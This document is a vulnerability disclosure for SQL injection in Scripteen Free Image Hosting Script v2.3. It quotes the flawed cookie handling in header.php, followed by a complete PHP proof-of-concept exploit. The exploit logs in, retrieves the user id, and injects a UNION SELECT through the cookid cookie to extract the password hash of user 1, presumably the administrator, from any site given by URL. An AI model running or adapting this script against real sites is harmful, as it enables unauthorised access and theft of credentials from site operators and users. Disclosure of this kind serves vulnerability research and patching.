===================
Scripteen Free Image Hosting Script v2.3 SQL Injection vulnerable
===================

The vulnerable: header.php (line 53-62)

  $userid=$_SESSION['userid'];
  $usergid=$_SESSION['usergid'];
  if (!$userid || empty($userid) || $userid==""){
        $userid = $_COOKIE['cookid'];
  }
  if (!$usergid || empty($usergid) || $usergid==""){
        $usergid = $_COOKIE['cookgid'];
  }

As you can see $_COOKIE['cookid'] and $_COOKIE['cookgid'] is not filtered and can be used to do an SQL Injection

===================
Proof of concept
===================
<?php
// *************************************
// Global variables
// *************************************
$g_arguments  = getArguments();
$g_url    = isset($g_arguments['url']) ? $g_arguments['url'] : false;
$g_username  = isset($g_arguments['username']) ? $g_arguments['username'] : false;
$g_password  = isset($g_arguments['password']) ? $g_arguments['password'] : false;
// *************************************

// *************************************
// Print help
// *************************************
if(isset($g_arguments['help']) || $g_url === false || $g_username === false || $g_password === false)
{
  echo "###################################\n";
  echo "#                                  \n";
  echo "# Scripteen Free Image Hosting V2.3\n";
  echo "#      SQL Injection Exploit       \n";
  echo "#      Discovered by Coksnuss      \n";
  echo "#      POC script by Coksnuss      \n";
  echo "#                                  \n";
  echo "###################################\n";
  
  echo "Usage: " . $argv[0] . "\n";
  echo "\t--help - This help\n";
  echo "\t--url=[STR] - URL of a vulnerable site (e.g. http://www.host.de/path/to/script)\n";
  echo "\t--username=[STR] - A valid username to login\n";
  echo "\t--password=[STR] - A valid password to login\n";
  die();
}
// *************************************


// *************************************
// Main
// *************************************
$url = strpos($g_url, '.php') !== false ? dirname($g_url) : $g_url;
if(substr($url, -1, 1) == '/' ) $url = substr($url, 0, -1);

// Get Cookie
echo "Generate cookie...";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,    $g_url . '/login.php');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_COOKIEJAR,  dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt');
curl_setopt($curl, CURLOPT_POST,  true);
curl_setopt($curl, CURLOPT_POSTFIELDS,  'uname=' . urlencode($g_username) . '&pass=' . urlencode($g_password));

$ret = curl_exec($curl);
curl_close($curl);

preg_match_all('/([\d]{1}[.][\d]{1})/', $ret, $matches);
if(!array_search('2.3', $matches[1]))
  echo("\nWarning: It seems like this site do not use version 2.3 of the Scripteen Free Image Hosting Script!\n");

if(!file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt'))
  die('Be sure that you\'ve enabled CURL and have write permission in the script directory!');

echo "DONE\n";

// Get userid
echo "Get userid...";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,    $g_url . '/profile.php');
curl_setopt($curl, CURLOPT_COOKIEFILE,  dirname(__FILE__) . DIRECTORY_SEPARATOR . 'cookie.txt');
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$ret = curl_exec($curl);
curl_close($curl);

if(!preg_match('/<input type="hidden" name="userid" id="userid" value="([\d]{1,3})"/', $ret, $match))
  die('Couldn\'t retrieve userid! Check your login data again!');

$userid = $match[1];
echo "DONE (" . $userid . ")\n";

// Get the password hash from userid 1
echo "Get the passwordhash from userid 1...\n";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,    $g_url . '/profile.php');
curl_setopt($curl, CURLOPT_COOKIE,  'cookid=' . $userid . ' UNION SELECT 1,2,password,4,5,6,7,8,9,10,11 FROM users WHERE userid=1; cookgid=3; cookname=' . urlencode($g_username) . '; cookpass=' . md5($g_password));
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);

$ret = curl_exec($curl);
curl_close($curl);

if(!preg_match('/<input type="text" name="uname" id="uname" value="([a-z0-9]{32})"/', $ret, $match))
  die('Couldn\'t find the password hash!');

echo "Hash found: " . $match[1] . "\n";
// *************************************


// *************************************
// Global functions
// *************************************
function getArguments()
{
  global $argv;
  
  foreach($argv as $arg)
  {
    if(substr($arg, 0, 2) == '--')
    {
      // In case its an arguments (e.g. --arg='1')
      if(($pos = strpos($arg, '=')) !== false)
      {
        $name = substr($arg, 2, ($pos - 2));
        $value = substr($arg, ($pos + 1));
        
        $args[$name] = $value;
      // Or just a flag (e.g. --help)
      } else {
        $name = substr($arg, 2);
        
        $args[$name] = true;
      }
    } else if($arg == $argv[0]) {
      $args[0] = $argv[0];
    }
  }
  
  return $args;
}
// *************************************
?>